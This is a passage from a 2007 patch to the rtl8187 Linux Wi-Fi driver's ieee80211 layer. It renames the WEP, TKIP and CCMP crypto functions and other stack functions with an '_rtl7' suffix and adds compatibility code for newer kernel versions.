-module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-04-23 00:09:03.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +72,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +111,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +210,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +232,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +278,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +293,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +335,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +392,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +438,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +459,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +506,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +518,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +529,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +550,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +566,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +574,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +583,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +595,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +611,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +641,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +671,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +698,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-04-23 00:09:00.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +50,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +82,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +97,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +161,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +213,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +227,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +240,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +249,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-04-23 00:09:03.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-04-23 00:09:00.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct 